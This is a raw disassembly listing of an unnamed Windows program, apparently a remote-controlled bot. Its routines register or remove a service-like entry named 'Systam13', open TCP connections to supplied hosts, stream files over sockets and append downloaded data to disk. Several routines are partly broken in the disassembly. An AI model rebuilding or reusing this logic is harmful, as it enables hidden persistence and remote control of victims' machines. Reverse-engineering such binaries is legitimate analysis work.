		mov	edi, 0B8h


loc_40BE89:				; CODE XREF: sub_40BE75+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40BEAC
		push	[ebp+arg_0]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BEAC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_4405F0
		jl	short loc_40BE89
		jmp	short loc_40BEEE
; ---------------------------------------------------------------------------


loc_40BEAC:				; CODE XREF: sub_40BE75+17j
					; sub_40BE75+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43FA70[esi]
		push	ebx
		call	sub_417330
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_418C10
		push	9Fh
		lea	eax, dword_43FA88[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_418C10
		add	esp, 24h
		inc	dword_42F794
		pop	ebx


loc_40BEEE:				; CODE XREF: sub_40BE75+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40BE75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEF5	proc near		; CODE XREF: sub_40EE72+5B58p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42DF90
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43FA70


loc_40BF1F:				; CODE XREF: sub_40BEF5+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40BF5A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42DF84
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch


loc_40BF5A:				; CODE XREF: sub_40BEF5+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_4405F0
		jl	short loc_40BF1F
		pop	edi
		pop	esi
		leave
		retn
sub_40BEF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF6D	proc near		; CODE XREF: sub_401000+9Ap
					; sub_4010B5+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 2630000h
		mov	ebx, offset dword_43F164
		mov	edi, 80h
		mov	esi, offset dword_43B164


loc_40BF8F:				; CODE XREF: sub_40BF6D+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40BFA6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BFA6:				; CODE XREF: sub_40BF6D+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40BF8F
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BF6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFE1	proc near		; CODE XREF: sub_407BDE+15Bp
					; ___:00407F15p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_4193FF
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		leave
		retn
sub_40BFE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C00D	proc near		; CODE XREF: sub_40EE72+5A4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43B164
		xor	ecx, ecx


loc_40C014:				; CODE XREF: sub_40C00D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_43F164
		jl	short loc_40C014
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42DFC4
		jnz	short loc_40C044
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_40C044:				; CODE XREF: sub_40C00D+1Fj
		push	esi
		call	sub_40BF6D
		pop	ecx
		pop	esi
		retn
sub_40C00D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C04D	proc near		; CODE XREF: sub_402DD7+2AEp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43B164


loc_40C053:				; CODE XREF: sub_40C04D+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40C068
		push	[esp+4+arg_0]
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C07A


loc_40C068:				; CODE XREF: sub_40C04D+9j
		add	esi, 80h
		cmp	esi, offset dword_43F164
		jl	short loc_40C053
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40C07A:				; CODE XREF: sub_40C04D+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40C04D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C07F	proc near		; DATA XREF: sub_40EE72+5B02o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40C0D2
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42E018
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h


loc_40C0D2:				; CODE XREF: sub_40C07F+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40C0F2
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40C0F2
		mov	[ebp+var_8], eax


loc_40C0F2:				; CODE XREF: sub_40C07F+5Aj
					; sub_40C07F+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43B164


loc_40C0FB:				; CODE XREF: sub_40C07F+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40C155
		cmp	byte ptr [esi],	0
		jz	short loc_40C144
		cmp	[ebp+var_98], 0
		jz	short loc_40C12A
		cmp	[ebp+var_4], 0
		jnz	short loc_40C12A
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C144


loc_40C12A:				; CODE XREF: sub_40C07F+90j
					; sub_40C07F+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h


loc_40C144:				; CODE XREF: sub_40C07F+87j
					; sub_40C07F+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_43F164
		jl	short loc_40C0FB


loc_40C155:				; CODE XREF: sub_40C07F+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42DFEC
		push	eax
		call	sub_4172B0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40C18F
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h


loc_40C18F:				; CODE XREF: sub_40C07F+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D5h
		pop	edi
		pop	esi
sub_40C07F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1AE	proc near		; CODE XREF: sub_40AC42+1Ep
					; ___:0040E9EFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42E038
		xor	esi, esi
		mov	ebx, offset aSystam13 ;	"Systam13"


loc_40C1C1:				; CODE XREF: sub_40C1AE+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_43AD4C
		cmp	[ebp+arg_0], esi
		jz	short loc_40C1FB
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_43ADBC
		jmp	short loc_40C205
; ---------------------------------------------------------------------------


loc_40C1FB:				; CODE XREF: sub_40C1AE+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_43AD04


loc_40C205:				; CODE XREF: sub_40C1AE+4Bj
		push	[ebp+var_4]
		call	dword_43AD74
		add	edi, 8
		cmp	edi, offset dword_42E050
		jb	short loc_40C1C1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C1AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C21E	proc near		; CODE XREF: sub_40C259+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40C253
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_40C237:				; CODE XREF: sub_40C21E+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_424298[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40C237
		pop	edi
		pop	ebx


loc_40C253:				; CODE XREF: sub_40C21E+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40C21E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C259	proc near		; CODE XREF: sub_40CAF1+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_417B89
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_4179A8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40C2A8


loc_40C27E:				; CODE XREF: sub_40C259+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40C2AC
		inc	ebx
		push	ebx
		push	esi
		call	sub_41944F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40C2A8
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_418A86
		add	esp, 10h
		jmp	short loc_40C27E
; ---------------------------------------------------------------------------


loc_40C2A8:				; CODE XREF: sub_40C259+23j
					; sub_40C259+39j
		xor	eax, eax
		jmp	short loc_40C2C7
; ---------------------------------------------------------------------------


loc_40C2AC:				; CODE XREF: sub_40C259+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40C21E
		push	esi
		mov	ebx, eax
		call	sub_417C3B
		push	edi
		call	sub_417900
		add	esp, 10h
		mov	eax, ebx


loc_40C2C7:				; CODE XREF: sub_40C259+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C259	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2CB	proc near		; CODE XREF: sub_40C351+33p
					; sub_40C8B4+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_43AE18
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40C347
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_43AD98
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_43ADD8
		cmp	eax, esi
		jnz	short loc_40C32C
		push	[ebp+arg_0]
		call	dword_43AE1C
		test	eax, eax
		jz	short loc_40C347
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_40C32C:				; CODE XREF: sub_40C2CB+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_43AD40
		cmp	eax, esi
		jnz	short loc_40C34B
		push	edi
		call	dword_43AE30


loc_40C347:				; CODE XREF: sub_40C2CB+1Bj
					; sub_40C2CB+58j
		mov	eax, esi
		jmp	short loc_40C34D
; ---------------------------------------------------------------------------


loc_40C34B:				; CODE XREF: sub_40C2CB+73j
		mov	eax, edi


loc_40C34D:				; CODE XREF: sub_40C2CB+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40C2CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C351	proc near		; DATA XREF: sub_40EE72+A88o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C2CB
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C3E4
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E0D4
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C3C7
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h


loc_40C3C7:				; CODE XREF: sub_40C351+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D5h


loc_40C3E4:				; CODE XREF: sub_40C351+3Fj
		push	offset byte_436EDC
		push	ebx
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C44F
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E094
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C42B
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h


loc_40C42B:				; CODE XREF: sub_40C351+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43AE30
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 26102D5h
		nop


loc_40C44F:				; CODE XREF: sub_40C351+A3j
		push	64h
		nop
		call	near ptr 2620494h
		xor	edi, edi
		mov	esi, 1000h


loc_40C45E:				; CODE XREF: sub_40C351+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		test	eax, eax
		jle	short loc_40C4BB
		lea	eax, [ebp+var_11B4]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40C4BB
		push	64h
		nop
		call	near ptr 2620494h
		push	7
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	short loc_40C45E


loc_40C4BB:				; CODE XREF: sub_40C351+130j
					; sub_40C351+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E050
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40C4EE
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h


loc_40C4EE:				; CODE XREF: sub_40C351+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43AE30
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 26102D5h
sub_40C351	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C512	proc near		; DATA XREF: sub_40EE72+4A7Co

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_43AE18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40C560
		push	offset dword_42E258
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C560:				; CODE XREF: sub_40C512+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_43AD98
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_43ADC4
		test	eax, eax
		jz	short loc_40C59E
		push	offset dword_42E224
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C59E:				; CODE XREF: sub_40C512+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_43AD3C
		push	[ebp+var_2E]
		call	dword_43ACD4
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417AB0
		pop	ecx


loc_40C5D0:				; CODE XREF: sub_40C512+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40C5E3
		push	5Fh
		pop	eax
		jmp	short loc_40C5E6
; ---------------------------------------------------------------------------


loc_40C5E3:				; CODE XREF: sub_40C512+CAj
		movsx	eax, al


loc_40C5E6:				; CODE XREF: sub_40C512+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40C5D0
		push	ebx
		push	edi
		call	dword_43ADC0
		test	eax, eax
		jz	short loc_40C619
		push	offset dword_42E0D4
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C619:				; CODE XREF: sub_40C512+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		nop
		call	near ptr 2670000h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40C643
		push	offset dword_42E1F4
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C643:				; CODE XREF: sub_40C512+125j
		push	esi
		push	eax
		nop
		call	near ptr 26B0000h
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		push	eax
		call	dword_43AD94
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E1DC
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_43AD80
		test	eax, eax
		jg	short loc_40C6F3
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42E1B4
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		jmp	loc_40C817
; ---------------------------------------------------------------------------


loc_40C6F3:				; CODE XREF: sub_40C512+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_43AE2C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40C72C
		push	offset dword_42E180


loc_40C719:				; CODE XREF: sub_40C512+49j
					; sub_40C512+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_40C81A
; ---------------------------------------------------------------------------


loc_40C72C:				; CODE XREF: sub_40C512+200j
		push	edi
		call	dword_43AE30
		cmp	[ebp+arg_0], esi
		jz	loc_40C7DE
		mov	edi, 400h


loc_40C741:				; CODE XREF: sub_40C512+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40C74E
		mov	[ebp+var_4], eax


loc_40C74E:				; CODE XREF: sub_40C512+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		nop
		call	near ptr 26E109Ch
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	near ptr 2650000h
		nop
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_43ADE8
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_43ADB0
		cmp	eax, ebx
		jl	loc_40C873
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40C873
		sub	[ebp+arg_0], eax
		jnz	loc_40C741
		mov	edi, [ebp+var_18]


loc_40C7DE:				; CODE XREF: sub_40C512+224j
		push	[ebp+var_8]
		nop
		call	near ptr 26508BEh
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E130
		push	eax
		call	sub_4172B0


loc_40C817:				; CODE XREF: sub_40C512+1DCj
		add	esp, 14h


loc_40C81A:				; CODE XREF: sub_40C512+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40C83F
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 14h


loc_40C83F:				; CODE XREF: sub_40C512+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40BF6D
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40C857
		push	edi
		call	dword_43AE30


loc_40C857:				; CODE XREF: sub_40C512+33Cj
		push	[ebp+var_1F8]
		call	dword_43AE30
		push	[ebp+var_58]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 26102D5h
		nop


loc_40C873:				; CODE XREF: sub_40C512+2AFj
					; sub_40C512+2BAj
		push	esi
		mov	esi, offset dword_42E108
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		push	esi
		call	sub_40BF6D
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_43AE30
		push	[ebp+var_58]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h
sub_40C512	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8B4	proc near		; DATA XREF: sub_40EE72+7C0o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		call	near ptr 26204C9h
		nop
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2670000h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C93E
		push	offset dword_42E350
		jmp	short loc_40C984
; ---------------------------------------------------------------------------


loc_40C93E:				; CODE XREF: sub_40C8B4+81j
		push	eax
		call	near ptr 26508BEh
		nop
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40C966
